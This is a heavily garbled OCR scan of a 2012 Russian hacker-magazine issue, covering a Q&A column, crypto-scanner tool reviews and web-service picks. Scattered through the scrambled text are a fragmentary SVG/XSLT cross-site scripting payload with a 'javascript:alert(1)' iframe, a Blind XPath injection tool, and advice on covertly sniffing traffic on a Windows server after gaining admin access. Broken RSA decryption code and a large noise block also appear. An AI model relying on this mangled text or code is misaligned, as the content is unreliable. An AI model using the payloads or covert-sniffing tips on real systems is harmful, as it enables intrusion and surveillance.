Сетевые протоколы| ТСР/ lP, DHcP, сlFS/Sмв, АFр, NF5, нттр, HTTPS, Fтр, NTP, JчmЬо-кадры Сервf,сы: Amazon SЗ, Ассе55 Link, NovaBACKUP, DLNA Media Sегчег, вitтоггепt. принт-сервер, сервер видеонаблюдения, Apple Time Mach i пе

Поддерхка i5c5l: есть Размерыl231 х ]70 х 2]6 мм lr{acca:8 кг


Глеб ЧербOв lсhегЬоf flagmail,coml

RE

FА0

Евгений неёлов ltwitteпcom/nevolovl

иQ

присьlлАи Есть вопрOсьl нА FAOnREAL.XAKEP.RU f|! lil fi Е

как tiожно упростить эксПолскаlките плуатацию уязвиl,lости типа BXl? Напомню. что чязвимость Blind XPath lп]есIl0п заключается в вOзмOжнOсти внесения изменений в Храth-запрос к xML базе данных, выполняемый на стороне сервера. Практически сестра-близнец всем известной SQL-инъекции, только с использованием не SQL, а языка XPath. В случае слепой инъекции мы можем формировать исполняемые запросы и довольствоваться лишь информацией об успехе выполнения. Немного, но достаточно,

-

ч-обоl байт за байтом перебрать на серверной

стороне содержимое ХМL-хранилища. Делать это вручную, разумеется, занятие неблагодарное. 0собенно когда под рукоЙ есть отличная утилита для эксплуатации BXl -XPath Blind Ехрlогег (о t,lv/BXlEyplo el). Не перегруженный опциями интерфейс позволяет очень гибко настроить программу. Помимо обычной работы посредством генерации GET или POST, программа дает возможность добавлять к запрOсам пOльзOвательские загOлOвки, чт0 значительн0 расширяет границы применения тулзы. Все, что потребуется задать, кроме URL уязвимOг0 скрипта и 0пциOнальнOг0 прOкси, эт0 значение, кOтOрOе сOдержится в пOлучаемом ответе и сигнализирует об успеJном или нет выполнении запроса. 0стается нажать кнопку <GET XMLo и наблюдать, как си[,1вол за символой тайное становится явным.

fi Е

Есть сервис, позволяющий загрузку пOльзовательских изOOрах(ении, в T01,1 числе и SvG. Как это tlожно использовать для атаки на пользователей? Цифровые изображения вообще опасная ,rул.,:-l Рассмотрим пример проведения банальной XSS при помощи специально сформированной SVG-картинки. И попутно 0кунемся в вOспOминания 0 не таких уж и далеких, но, к всеобщему счастью, уже

<Svg XmlnS="http <xs1

иное, как ХN4L-представление, интерпретируемое впоследствии рендером. На самом деле можно было бы просто включить в описание скрипт [спецификация нас тут ничем не ограничивает), но мы используем технику хамелеонного поведения при помощи XSLтрансформации. Так, наша вредоносная нагрузка будет выполнена лишь в случае прямого обращения браузера к файлу, например посредством <ifname>. При попытке же ,,1омощью тега <img> lользоваотобразить е-о с тель получит безобидное изображение. <

?Xml чепsiоп="]..0"?>

<!DoсTYPE <

doc

I

!ATTLIST xSI : stylesheet

id ID

:

//Wш.

WЗ.

оrg/

2ООО

stylesheet id="stylesheet"

чепsiоп="],,0" \

Xmlns

П Ll

0тOшедших к истOрии временах, кOгда популярные браузеры грешили игнорированием lч1llr4Е-типов, получаемых от сервера. flля начала вспомним, что SVG представляет собой не что

:

:

xS 1=

"

тгапsfогm <xS1

http

:

//WWW. Wз . опg / 7999

/xsL /

:template match="/") :

//WwW. Wз. оrg/ 7999

xhtml" \ 5р6=" javascгipt : аIегt(1) " ></if /

>

" >

<if гаmе xmlns="http

<

/ sчв"

xs1 : template

/

гаmе>

>

</XS1: styIeSheet>

<сiпсlе fiI]="гed" г="40"></сiпсlе> <

/ svg>

Имеется некий файл, используемый для хранения данных прилOжения. В hех-редакторе признаков строковых значений и других зацепок нет. i4ожно ли как-то узнать, является это просто бинарныtt представлением каких-то структур или было использовано lцифрование? Действительно, разобраться в захрытом Е ФOрмате хранилища или дампе - задача не из простых. 0собенно если нет даже предположений, в каком направлении копать и стоит ли копать вообц.{е. Ведь если было использовано шифрование, то шансов обнаружить в итоге искомые данные при таком подходе не остается вовсе. На помощь в этой ситуации приходит простой инструмент из инфорсложного математического аппарата

J!

-

#REQUIRED>]>

РАСПОЗНАЕМ КРИПТОАЛГOРИТМЫ ПРИ АНАЛИЗЕ ИСПОЛНЯЕМОГО ФАЙЛА Большинство криптографических функций, используемых в П0, действительно детектируемы при пOмOщи статическOг0 анализа, причем зачастую не требуется ничего хитрее поиска по сигнатурам. Сегодня речь пойдет о.нескольких схожих по функционалу инструментах, в силу пOнятнь х причин имеющих свOи уникальные сильные стOр0ны. Так что нелишним будет иметь в своем арсенале реверсинг-софта сразу несколько

.подобных утилит.

1Io

FindCrypt Плагин для не нуждающегося в особом представлении дизассемблеракомбайна lDA Рrо от его же создателя. В отличие от самого дизассемблера свободно распрOстраняется вместе с исхOдным кOдOм, что

дает

при

возможi]ость

необходимости

до-

полнить функционал в соответствии с конкретной задачей. 0бладает внушительным набором сигнатур и высокой скоростью рабоmusthаче-дополнение ты. Иными словами к lDA.

-

lmmunity DеЬчggеr searchcrypt Расширение, входящее в стандартный набор, написанное на Руthоп и моментально доступное из командной строки отладчика.,Д,ля вызова достаточно набрать <|sеаrсhсгурt>, после чего будет произведено сканирование открытого в отладчике файла. Ход выполнения и результаты, включающие названия обнаруженных алгоритмов и адреса в памяти, выводятся в обшlий ло1 доступный в отдельном окне. По функционалу схож с FiпdСгурt, но проигрывает в скорости.

хАкЕр

09 /]641 2012


Вопросы и ответы

мационная энтропия. Именно эта волшебная функция поможет навскидку отделить данные с намекOм на структурнOсть от криптоконтейнера. Не вдаваясь в подробности, энтропия эт0 величина, характеризующая неопределенность информации, то есть теоретически наибольшее значение энтропии должен иметь белый шум или вывод /dev/urandom. Современные шифры и алгоритмы сжатия также в большинстве своем выдают данные с высоким значением энтропии. Вычислять на бумажке, конечно, ничего не придется, получить иско[4ую цифирь для файла можно утилитой, носящей скромное имя ent

-

(b]t,

у/епthгору).

Как, зная параметры криптосистемы RSA, проще всего расщифровать сообщение? Для_того чтобы расшифровать RSAЕ сOOЬщение. дOстаточно знать так называемые модуль [Nl и закрытую экспоненту [D], или, как все это вместе называют, закрытый ключ. Если удалось каким-то образом им завладеть, то дело за малым. flля наших целей идеально подойдет Python, на котором проблема расшифрования сводится к паре строк. А именно:

J.!

БOльшOЙ вопрос с пOмOщью чЕг0 мOжн0 АнАлизирOвАть ВЗАИМOДЕЙСТВИЕ

СИСТЕМЫ

с рАзличныt\4и устрOЙствАми п0 USB?

изучения такого низкоуровневого взаимодействия предпочтительнее испOльзовать аппаратный сниффер. К сожалению, только так можно обеспечить абсолютную прозрачность наблюдения для исследуемого устройства. Но если нетжелания расставаться с сотнями условных единиц, для пробы пера можно обойтись и программным решением. В Linux для этих целей имеется замечательный модуль ядра с говорящим названием usbmon, который позволяет получатьданные, циркулирующие между дра й вера м и устро й ств и дра й вером US В ,Щля

Host Сопtгоllег. Несмотря на то что все это происходитуже в ядре 0С, этого вполне достатOчн0 для получения картины происходящего обмена данными или даже ловли багов в юзерспейс-драйверах :]. Чтобы в се это за ра ботал о, достато ч н о пOдгрузить наш мOдуль и смOнтирOвать debugfs [в BackTrack 5 R2 по умолчанию эти операции уже проделаны заботливыми разработчиками):

mоdрrоЬе usbmon

mount -t debugfs \ none_debugs /syslkeгnel/debug Как ни странно, но для разбора USBпрOтокола как нельзя лучше подойдет всеядный Wirеshагk, способный захваты вать

п

0то к с

imрогt cгypto.PublicKey. RsA D, как правило, очень большие

о чем сообщит инrерпретатору L в конце значения.

#числа, #флаг

69fбef07 #...Здесь было много строк хексов 2cбeбbd27eaa7lcc0288df 1ессзЬ062ЬL е749 67е

d

=0хб

n

=0х9 5d аее

з

1

ае а

202

Ьео5fз0

#...И здесь тоже

з

5

29ef2 668а

sпараметр - открытая экспонента, не #используемая при расшифровании. key=cpuoao. ruolicKey. RsA.

construct ( ( п J 0J d ) ) #Все, остается лишь вь]звать метод key . dec гурt(

шифртекста с

hiphentext

)

SпD Сrурtо Sсаппег Еще одно дополнение для семей-

ства отладчиков 0llyDbg / lmmunity DеЬuggег. Распространяется в виде динамической библиотеки, подгружаемой при запуске, пOсле чег0 запустить плагин можно, выбрав соответствующий пункт в меню <Plugins". ПозвOляет в 0дин клик выставить точки останова на секции памяти, содержащие найденные сигнатуры. Немаловажно и то, что SnD единственный справился с обнаружением нестандартной индексной таблицы в реализации base64.

*о*r" о, lrrolrorz

н а

сш

и н

ы

тmе

source

1250 1251

21,959002

7,I

21.95906I host

Destimtion рФtщd Lenoth |пfо

host

LSB

66 URB BULK rп

host 7.t

U58 USB

61 URB 8ULK rn 79 URB BULK out

=)

772888f 1f d7laaO8f08502a].41b6l1f L #Инициализируем криптосистему. Вrорой

fdесгурt от

Nо.

5 с 9 8 с

8ае

нтере сую щей

Прослущивание UsBвзаинодействия в wire5hark

#Заюзаем стандартную криптобиблиотеку #N и

и

представлять ег0 в пOдходящем для вOсприятия челOвека виде. и

Arrlva1 Time: ]UL з0, 2012 22:зо:50.оо84з7ооо

Epoch TImel 134З701850.0084З7о0О 5есопds [Тlmе deLta fгоm рrечiоU5 сарtUrеd frаmе: о.ОООО2lОоо seconds] [Тrmе delta frоп рrечlоч5 di5played frame: o.oooo2looo second5] ITime 5iпсе rеfегепсе оr flr5t frame: 21.956458о00 seconds] Frаmе Number: 1249 Frаmе Lenqth: 61 bytes (488 brt5)

capture Length: 48 byte5 (З84 blt5) IFrаmе 1s marked: FаIsе] IFrаmе

rs

IgnoredI Eat5e]

Hash & Сrурtо Detector Просто удобный standalodeкриптосканер. Позволяет выявлять мнOжество полезных свойств исследуемого файла, среди которых информация об использOваннOм.кOмлилятOре, реализOван ных методах защиты и упаковщиках. Традиционный сигнатурный поиск дополнен функционалом эвристическOг0 анализа, чт0 выгOдн0 0тличает этот детектор. Приятным бонусом является возможность прOизвOдить запуск приложения и анализ уже распакOваннOг0 испOлняемOг0 кOда.

bfcrypt Быстрый криптосканер, распространяемый под лицензией GPLv2. 0дно из немногих действительно кроссплатформенных решений для поиска криптосигнатур. Консольный интерфейс чрезвычайно прост в качестве параметрOв дOстаточн0 предоставить лишь имя исследуемого файла. Ничего лишнег0 в лучших традициях принципа KlSS, сканер, готовый выручить, в случае необходимости реверсинга в среде, отличной от Windows.

-


FА0

}il

режи}rе ]!!

Python в интерактивной коtlандной строки очень не хватает автOдOпOлнения п0 нажатию на <ТАВ>. Есть ли какие-нибудь рецrения именно для консоли? Pvthor Shell очень чдобный ,,lHcTovMeHT и, ]| как видно из предыдущег0 вOпрOса, Е идеален для быстрого решения задач в несколько строк. !ержать в голOве все доступные методы и функции, конечно же, невозможно, и каждый раз вызывать helpI) совсем не круто:-}. Повысить интерактивность и скорость работы с интерпретатOром нам поможет модуль гlсоmрlеtеr в связке с rеаdliпе. ,Щостаточно подключить их и назначить действие автодополнения на нужную клавишу,

ýl

При использовании

imрогt гlсоmрlеtеr imрогt гeadline neadline.paгSe_and_bind("tab:

сопр].еtе")

Все, можно, нажав <ТАВ>, получать список возможных вариантов завершения команды| Чтобы не заморачиваться с подключением модулей, каждый раз открывая новую консоль, можно прописать эти строки в файл инициализации шелла,.Д,ля этого в домашней директории создадим файл.ругс и поместим в него эти строки, А в .Ьаshгс добавим переменную окружения, дающую Python знать, откуда брать кOманды, испOлняемые при запуске,

cat

прослуlливание трафика? С такой проблемой приходится сталкиваться дOвOльн0 част0. Uднак0, Е к счастью, спецы по сетевой безопасности и компьютерной криминалистике из Nеtrеsес написали консольный пакетный сниффер RawCap lЬit.lчltзцсав]. Мало того что она весит всего 17 килобайт, так еце и не требует абсолютно никаких зависимостей: не надо дополнительно ни библиотек, ни сетевых драйверов типа WinPcap| Просто запускаешь с админскими правами, и после старта тебе будет представлен в удобном виде список всех сетевых интерфейсов, где надо выбрать номер прослушиваемого интерфейса и имя для

представляют собой базу данных эксплойтов. Самыми популярными являются ]ЗЗ7dаyФщ и ечрlоit-оо,соr. Там ты можешь найти информацию об авторе и его исследовании, ссылки п0 теме, а самOе главнOе -технические детали уязвимости. Выяснив версию приложения, следует скачать его с официального сайта и начать эксперименты. Oчень часто разработчики выкладывают только самую последнюю стабильную версию, тогда на помощь приходят архивы старого софта. Рекомендую оldчегs]оп,соm и oldapps.com, где можно найти практически любые программы под большинство популярных платформ. Ну и добавим в коллекцию каталог образов виртуальных машин osviгtUa ,пеt, куда уже устанOвлены старые версии различных, в том числе экзOтических 0перациOнных систем.

рса р-фа йл а. <А что же с этим дампом делать дальше?о

Е

Я получил админский доступ к удаленному виндовоl,{у серверу. Как наиболее неза}.iетно и без за1,,lорочек организовать

Ёl

J!

-

спросишь ты, Но и тут за тебя уже позаботились, Сайт СlоudShаrk.оrg представляет собой не что иное, как онлайн-версию знаменитого сниффера Wiгеshагk. 3агружаешь рсар-файл и анализируешь пакеты в до боли знакомом интерфейсе. Ктвоим услугам привычные фильтры и инструменты для анализа. Кроме того, все, что ты видишь на экране монитора, будет сохранено в облаке и доступно по постоянной ссылке, как и сам 0ригинал дампа пакетOв. Что i{ожешь посоветовать, когда нужно

>>

expont

-/,Ьаshгс PYTHoNSTARTUP="-/.

ругс"

любопытно, что с использованием библиотеки геаdliпе работает и замечательная утилитка clink [Ь t, y/clinkcmd], делающая вOзмOжным пOлнOценное испOльзование стандартного Wiпdоws-шелла cmd,exe, расширяя интерпретатOр автOдOпOлнениями и Ьаsh-подобными функциями оперирования с историей команд. lПодробнее о подобных инструментах можно прочитать в статье.Жизнь в консоли Windows" в этом HoMepe.l Посоветуйте легковесный файрвол для Windows. компонент системы, Межсетевой экран выбору которого, безусловно, стоит уделять достаточное внимание. В выборе для рабочей станции или домашнего компа я советую остановиться на ТiпуWаll {bit.lv/ trnytrewall). Нетребовательный к ресурсам, он

-

прOст0 выпOлняет вOзлOженные на нег0

-

блокирует сетевой трафик согласно гибко настраиваемым правилам. В несколько кликOв пOзвOляет переключаться между режимами защиты, поддерживает вайтлистинг по процессам или приложениям. Oдно из TinyWall практически не главных достоинств привлекjет к себе внимания пользователя: есть лишь икOнка кOнтрOллера в системнOм трее, а постоянные информирующие окна и подсказки отсутствуют. Из дополнительных наличие поддержkи lPvб и мониторинг фич изменений hоsts-файла, функции

-

-

срочно продиагнOстирOвать систему, а нужноrо софта, как назло, нет под рукой? В этом вопросе, без сомнения, Марку Ру..rrоrrчу нет равных, Его легендарные утилиты должны быть в аптечке каждого хакера :). Ну а если вдруг у тебя их не оказалось, то ты можешь заюзать их прямо с сайта Syslnternals! Просто подключи сетевой диск \\live.sysinteгnals,com\tools\. Со всеми утилитами мOжн0 0знакOмиться п0 ссылке bit.lv/svsintools.

Е lД

3аинтересовался поиско1,{ уязви].lостей в програtl},iах. Где бы вэять материалы для ЭКСПеРИ }.{еНТОВ? Ты наверняка чже слышал про дистрибу,rrr, ,"na Damn чutпегаоtе Llnux. которые созданы специально для того, чтобы их ломать. 0днако следует оговориться, что большинство таких сборок основаны на операционной системе Linux и содержат, как правило, слишком тривиальные баги, которые ты вряд ли встретишь в реальной жизни. Чтобы разнообразить кругозор и приноровиться к поиску дыр в популярном софте, который используют миллионы людей ежедневно, советую учиться сразу на этих программах. Прошло то время, когда информацию для обучения приходится искать по крупицам, словно 5 лет назад. В наши дни в Сети можно найти море информации о поиске уязвимостей. Алгоритм простой:

Е Ll

'1

найти отчет об уязвимости и распотрошить пOдOпытную прOграмму сOгласн0 этому отчету.

Результаты своего исследования хакеры обычно выкладывают на сайты, которые

l3l

Я ttного времени провожу за работой

в BacKTrack Linux, иногда голова просто кипит. Как HolxHo отвлечься, не прекращая свою деятельность?

]! Е

Специально для таких случаев разработчики Llnux и других вхOдящих в дистрибутив программ подготовили несколько пасхальных яиц. Серьезные парни тоже могут веселиться :l. Если ты вдруг ошибешься при вводе пароля, то программа будет стебать тебя :l. Например, так:

I have Ьееп called Wоrsе. МауЬе if you used mоге than just two fingers. . .

Listen, Ьuгпitо Ьгаlпs, I don't have time to listen to this tnash. ,Щля этого отредактируй файл sudоегs, добавив в конец строки Defaults слово insults. Выглядит примерно так:

DefauItS ! lectune,tty_

tickets, fqdn, insults !

,Щля

редактирования советую использовать

не обычный редактор, а visudo, который про-

веряет синтаксис файла перед сохранением, Если ты опечатаешься при вводе одной из самых частых команд ls и введешь sl, то на экране проедет паровозик| Иногда требуется самOму устанOвить этOт пакет:

apt-get install s] Почерпнуть знания о зарождении нового мира можно, если в Fiгеfох ввести в адресную строку <about:mozilla>. А если этот мир тебя не привлекает, ты можешь увидеть робота с другой планеты, введя <about:гobots>. Ну а если ты считаешь, что роботы это неинтересно, то тебя ждет игра Spase lпчаdегs, !ля этого в программе Саlс из пакета 0pen Office введи

-

=Gаmеl"StагWагs"]. В общем, разработчики тоже люди и, конечно же, позаботились о том, чтобы наполнить приятными мгнOвениями твOи тяжелые хакерские будни.

Е

хАкЕр

09 /]641 2012


!;а

l <>ч Et lяs

Ё

s

J2 ý11

-lу

S

l

тш х=

т= l

э

ш

lil

шв

lgl

Цl Е

I

о о F о-

(J

т х:э

Z-

lil

J

ш

lý I

I?

л I д

rn Itr

S

ч m

I

г,I

I l--

(-)

I

lл J h ц lл

LEl

m

l_

х

ек 3l

ц

л

-ts

fiз ,Л

шt Е< Вр :й оG

-tsЁ Ёр Eg

:,s Ф;

E<i

i=

;; fЁ

,о Es lл

щЕ

7

j

! ь_ *l,pE, л.l= ; i Ёfi: *,t€д:Зi:Е iЕёJ.jlt;Т;е;;; э ,:ijIi=jд.;ЁjЭ::: : ; i="Ё"з}6"69,Fi-;;е5 Ёgiц;":, llzсiЁ* ,;Ef lЁд-,аjнi 9_:>.9;jяs F i:с:ýЕэ iiэ::;.ЕЗ::! 9

:

Е е -" :за -

i,, ]?:ЁЁ-*-

g 5 _

; j-;; з-:- r"Т,::i Г--:аЬЕ-::;АrСi iJ

--

Р ._:*

.'

-

ý R: -i"

-

= i:=,E :tý.Я ЭЁа..*":

9

.] i :Е : ,j!^:l'

Зi:F

"=t=ir;:.=;rЁ; й}ЁЁ;.;;;i,тjj= }-дt=:_ьаýЕ-ь;,. _=!'З5ii::]q:6ё :зз€ :,.9ьъi;gi=Е -эЕЕт:f ;-+iЁlаaiЁ:;,;f"." .Е;]i€ t ':=i!f л='+,+еiЁз;ЁlЭэЁэ; Ёý_а**з€ j,"ý;э ФJбJт Fo_>[do" .iэt i*Б*.i,Е 'Е;3д5Ё;F; ' -.J !,'ээ! s Ёдя,тý* -.:ээ Е, ^

^й=

;

=;' Эь

;] Ё:

{ч *ъ ,;_


FАо

Have уOчr

ассочпБ Ьееп соmрrоmisеd? Find oul

fuпфUst is

а

td

Ф ачФаgе р€rsол 1о check ii lheir accounts hаче Ьфл сФgФisф, Yф фп lead more aMUt Whele our dala mes irф hgg JUst entвr ап email addlФs аSsфiаtеd йlh Фу ol youl accounts to see il il's Ф ф, list, Ма edeld iý фt 9tored. rёчsd, оr given to Фу lhid Fпiф. Dопt truýt Us? Yф сm also uso а SHA,512 hФh о' your фdl as iфй, Juýl фпl lo lфысбе аll сhаФltrs lhal dlowý

'dgd

'irst,

Постоянно обновляеная база инейлов хертв утечек данных популярных сервисов

@

<\

S,]i.cлs]1),r,],j

mOOUpS.cOm

l. i,l,]]],:.l.]l

Uпirircpjri.

conloi mолu

ffi

йт-1 п;]-1 Удобный ве6-(ервисдля прототипирования приложений и ве6-сайтов

ýФрIе I{TML &

hРt

J!

ownedlist.com Утечка данных в сервисах вроде Last.fm или Steam многим кажется не таким уж и страшным событием, и пользователи не всегда понимают, что стоит сменить пароль к ящику и включить детализацию счета в банке. Сервис PwnedList предлагает проверить, не затронули ли хакерские атаки неприкосновенность конкретно ваших данных. !ля этого достаточно вбить адрес электронной почты, а сервис проверит его по своей базе из почти о PwnedList писали такие изда25 миллионов записей. Параноики могут быть спокойны ния, как FогЬеs и ZDNet, а значит, это не очередная ловушка. 0днако если этого недостаточно, имейл можно передать в виде хеша SHA-512 tвоспользовавшись, например, вотэтим калькулятором: hаsh,оп]iпе-сопчеrt.соm). Такхе сервис предлагает зарегистрированным пользователям уведомления о попадании в базу, обновляемую после каждой новой атаки.

-

с

Tllo$P, - д-

ltrlг.ililltil

интерфейсов

С каждым днем появляется все больше сервисов и приложений для прототипирова-

ния, позволяющих быстро набросать эскиз предполагаемого экрана приложения или веб-сервиса. Как известно, картинка лучше тысячи слов, и лучше, чтобы она была сделана не ручкой на салфетке, Бесплатный сервис Moqups позволяет создавать эскиз интерфейса сайта, лриложения или даже программы для iPhone и получить картинку в PDF или PNG, которую можно показать заказчику или коллеге-фронтендщику, В наборе есть все модные элементы, включая <хлебные крошки> и.ри66оныо, а зарегистрированные пользователи могут добавлять собственные элементы. 0бъекты на рисунке легко привязываются к схеме, группируются и организуются в слои. При этом среда позволяет сделать эскиз всех экранов интерфейса, обозначив переходы между ними.

css

PsD

@,,

J".kD.."y

jmt scttin8 uр mу twttr +н.рl| tаяеs"м llrф-с

0бщение дизайнеров и верстальшиков

-

сложный процесс, полный конфликтов и в готовый взаимных упреков. Конечная цель этого диалога - превращение PSD-MaKeTa код, и, чтобы добиться этого, хороши любые методы. Верстальцики, желающие немного упростить себе жизнь, могут воспользоваться сервисом N4агkuрwапd. 0н автоматически сконвертирует файл PSD в аккуратный код, с которым уже можно будет работать. При этом получается чистый и валидный HTML и CSS, оформленный и сконвертированный при поэто повышает читаемость. Конечно, все это не может измоlци связки SASS и Compass, бавить от ручной работы, но тогда версталь!цики не были бы нужны, верно? А дизайнерам стоит ознакомиться с правилами хорошего тона при подготовке PSD-MaKeTa Ii очерsd.гu].

-

Ве6-сервис, конвертирующий

РsD-макеты сайта

в

НТ1,1L-код

@

goo.gl/.JMWpb

Sесчге Shell расширение для Google Сhгоmе, разработанное самой компанией, которое позволяет подключаться по SSH к удаленной машине прямо из вкладки браузера. Плагин представляет собой портированный 0репSSН и терминал htегm (все благодаря технологии Native Client], поэтому работает быстро и стабильно. Недостатком является то, что настройки доступны только через консоль.JачаSсгiрt в самом Сhгоmе [подв инструкции от разработчиков goo.gl/mбNjB]. С другой стороны, это удобное робнее решение <на всякий случай", позволяющее подключиться к своему серверу из любого места, где есть доступ к Сети. Не хватает полноценного.брелока> для хранения информации о хостах и ключах, но адреса серверов можно сохранять в виде закладOк браузера и синхронизировать между машинами пользователя.

-

-

ýsН-клиентвв[де

расширенияДля

Gооg|еСhrоmе

хлкЁр

09 l1b1,1 2012


Turn static files into dynamic content formats.

Create a flipbook
Issuu converts static files into: digital portfolios, online yearbooks, online catalogs, digital photo albums and more. Sign up and create your flipbook.